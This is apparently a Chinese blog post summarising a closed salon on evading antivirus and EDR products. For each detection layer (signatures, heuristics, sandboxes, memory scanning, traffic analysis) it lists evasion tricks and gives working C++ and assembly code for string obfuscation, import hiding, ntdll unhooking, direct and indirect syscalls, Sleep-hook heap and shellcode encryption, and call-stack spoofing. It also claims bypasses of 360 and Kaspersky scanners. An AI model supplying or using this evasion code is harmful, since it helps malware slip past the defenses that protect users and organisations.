“ 终端对抗向技巧型文章,闭门沙龙精华提炼版。”
终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!
基于签名的检测:文件hash、特征码、文件名、图标
启发式查杀:导入导出表、API调用链
文件熵分析:文件中字节的熵
元数据分析:编译器、时间戳、数字签名
PE节表:PE文件中异常节
机器学习:例如常见的QVM HEUR 202
加密/压缩:使用自实现加密算法
常规方法:
XOR
Base64
AES
RC4
针对shellcode的检测
代码混淆:混淆源代码(llvm+pass、ollvm)
控制流平坦化
虚假控制流
指定替换
Pass插件
LLVM 混淆
OLLVM 混淆
字符串加密:避免基于字符串的检测
利用C++模板:constexpr 编译时间字符串加密
示例代码:
`template<size_t size>` `constexpr auto obfuscate(const char plaintext[size])``{` `MetaString<size> obfuscated;`` ` `for (size_t i = 0; i < size - 1; i++)` `obfuscated.buff[i] = plaintext[i] ^ key[i % sizeof(key)];`` ` `obfuscated.buff[size - 1] = 0;`` ` `return obfuscated;` `}`` ``#define ENCODE(x) []() { constexpr auto encoded = obfstr::obfuscate<sizeof(x)>(x); return encoded; }()``#define OBFSTR(x) ENCODE(x).deobfuscate()`
效果如下:
动态加载windows api:隐藏导入表
使用
GetProcAddress()
GetModuleHandle()
动态获取windows API,隐藏导入表
示例代码:
`typedef int(WINAPI* pMessageBoxW)(` `HWND hWnd,` `LPCTSTR lpText,` `LPCTSTR lpCaption,` `UINT uType` `);`` ``int main()``{` `pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA");` `MyMessageBox(0, 0, 0, 0);` `return 0;``}`
效果如下:
降低文件熵
shellcode 转 English words
MAC、IPV4、IPV6、UUID编码
分离加载(远程拉取或突破隐写)
添加大资源文件
加壳:自写壳、商业壳
UPX
VMProtect
Shielden
Themida
ASPack
Enigma Protector
模拟正常文件:签名、文件名、图标、属性信息、资源
给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件,使文件看起来更加合法,以规避启发式查杀
以360为例,常规我们编译出来的文件经常爆QVM202,但是当我们添加资源文件后,我们即可绕过QVM202
动态生成
动态生成加密key
动态编译生成文件
......
Sandbox:沙箱运行观察判断行为是否恶意
子进程/线程创建:例如监控Cmd.exe、Powershell.exe
敏感高危操作:修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….
敏感目录读写:注册表、自启动目录
进程链检测:监控父子进程间关系判断是否异常,例如word.exe—powershell.exe
代码注入检测:例如远程线程注入、DLL注入等等
网络通信:监控网络流量,分析可能的C2流量
API调用:Hook 常见 Windows API
Anti sandbox:反沙箱
使用质数运算延迟执行
检测系统开机时间是否大于某个设定值
检测物理内存是否大于4G
检测CPU核心数是否大于4
检测文件名是否修改
检测磁盘大小是否大于100G
判断是否有参数代入
Anti VM:反虚拟机
检测进程名
检测注册表
检测磁盘中文件
如图:
Unhook:从磁盘加载ntdll
通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果
示例代码:
`HANDLE process = GetCurrentProcess();` `MODULEINFO mi = {};` `HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");` ` GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));` `LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;` `HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);` `HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);` `LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);`` ` `PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;` `PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);`` ` `for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {` `PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));` ` if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {` `DWORD oldProtection = 0;` `bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);` `memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);` `isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);` `}` `}` ` CloseHandle(process);` `CloseHandle(ntdllFile);` `CloseHandle(ntdllMapping);` `FreeLibrary(ntdllModule);` ` return 0;`
Syscall:Direct syscall、Indirect syscall
Direct syscall
示例代码:
`NtAllocateVirtualMemory PROC` `mov r10, rcx`` mov eax, wNtAllocateVirtualMemory `` syscall ``ret` `NtAllocateVirtualMemory ENDP` ` ``UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");``wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];`
Indirect syscall
示例代码:
`NtWriteVirtualMemory PROC` `mov r10, rcx` `mov eax, wNtWriteVirtualMemory` `jmp QWORD PTR [sysAddrNtWriteVirtualMemory]``NtWriteVirtualMemory ENDP`` ` `UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");`` ``wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];``sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;`
PE in Memory:内存加载
利用 Inline-Execute-PE 在内存中加载运行PE文件
利用 BOF.NET 在内存中执行.NET程序集文件
进程断链:断掉父子进程链
利用模拟运行断链
利用WMIC断链
利用Com断链
内存扫描:扫描内存查找注入的恶意代码,并检测进程内存空间中的可疑API调用
检测项:进程信息、shellcode特征、堆栈、内存映像
Heap Encryption
通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:
`void WINAPI HookedSleep(DWORD dwMiliseconds) {` `DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());` `HeapEncryptDecrypt();`` ` `OldSleep(dwMiliseconds);`` ` `HeapEncryptDecrypt();` `DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());``}`
关键部分代码,加密堆内存:
`static PROCESS_HEAP_ENTRY entry;``VOID HeapEncryptDecrypt() {` `SecureZeroMemory(&entry, sizeof(entry));` `while (HeapWalk(currentHeap, &entry)) {` `if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {` `XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);` `}` `}``}`
Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环,以此规避内存扫描
关键部分代码:
XOR加密:
`void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)``{` `uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);`` ` `auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;` `for (size_t i = 0; i < bufSizeRounded; i++)` `{` `buf32[i] ^= xorKey;` `}`` ` `for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)` `{` `buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);` `}``}`
定位内存中的shellcode地址:
`bool isShellcodeThread(LPVOID address)``{` `MEMORY_BASIC_INFORMATION mbi = { 0 };` `if (VirtualQuery(address, &mbi, sizeof(mbi)))` `{` `//` `// To verify whether address belongs to the shellcode's allocation, we can simply` `// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.` `//` `if (mbi.Type == MEM_PRIVATE)` `{` `const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;`` ` `return ((mbi.Protect & PAGE_EXECUTE_READ)`` || (mbi.Protect & PAGE_EXECUTE_READWRITE)` `|| (mbi.Protect & expectedProtection));` `}` `}`` ` `return false;``}`` `
加密和解密shellcode:
`void shellcodeEncryptDecrypt(LPVOID callerAddress)``{` `if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)` `{` `if (!isShellcodeThread(callerAddress))` `return;`` ` `DWORD oldProt = 0;`` ` `if (!g_fluctuationData.currentlyEncrypted`` || (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))` `{` `::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `PAGE_READWRITE,` `&g_fluctuationData.protect` `);`` ` `log("[>] Flipped to RW.");` `}` ` log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");`` ` `xor32(` `reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),` `g_fluctuationData.shellcodeSize,` `g_fluctuationData.encodeKey` `);`` ` `if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)` `{` `//` `// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE` `// and our previously set up vectored exception handler should catch invalid memory access, flip back memory` `// protections and resume the execution.` `//`` // Be sure to check out ORCA666's original implementation here:` `// https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285` `//`` ` `::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `PAGE_NOACCESS,` `&oldProt` `);`` ` `log("[>] Flipped to No Access.\n");` `}` `else if (g_fluctuationData.currentlyEncrypted)` `{` `::VirtualProtect(` `g_fluctuationData.shellcodeAddr,` `g_fluctuationData.shellcodeSize,` `g_fluctuationData.protect,` `&oldProt` `);`` ` `log("[<] Flipped back to RX/RWX.\n");` `}`` ` `g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;` `}``}`
效果:
Bypass Kasperskey Memory Scanner:
Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环,以此规避内存扫描
线程堆栈欺骗:欺骗线程堆栈返回地址
默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode
最简单的方法,直接用0覆盖返回地址,从而截断堆栈
关键代码
`void WINAPI MySleep(DWORD _dwMilliseconds)``{` `const register DWORD dwMilliseconds = _dwMilliseconds;`` ` `// Perform this (current) thread call stack spoofing.` `PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();` `const register ULONG_PTR origReturnAddress = *overwrite;`` ` `log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");` `*overwrite = 0;`` ` `log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");`` ` `// Perform sleep emulating originally hooked functionality.` `::SleepEx(dwMilliseconds, false);`` ` `// Restore original thread's call stack.` `log("[<] Restoring original return address...");` `*overwrite = origReturnAddress;``}`
效果对比:
默认线程调用堆栈:
欺骗后的线程调用堆栈:
总结:
堆栈欺骗+内存加密配合使用实战效果极佳,参考Cobalt Strike 4.7的SleepMask
威胁情报:IP、域名
流量特征:固定通信流量特征
使用HTTPS
云函数
域前置
更改C2、webshell等工具通信流量
抛出沙龙上,交流提出的两个问题。
以后杀软的发展趋势会着重在哪些地方?
以后对抗难点会在哪些地方?
逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!
最后公众号后台回复终端对抗,获取作者联系方式哈。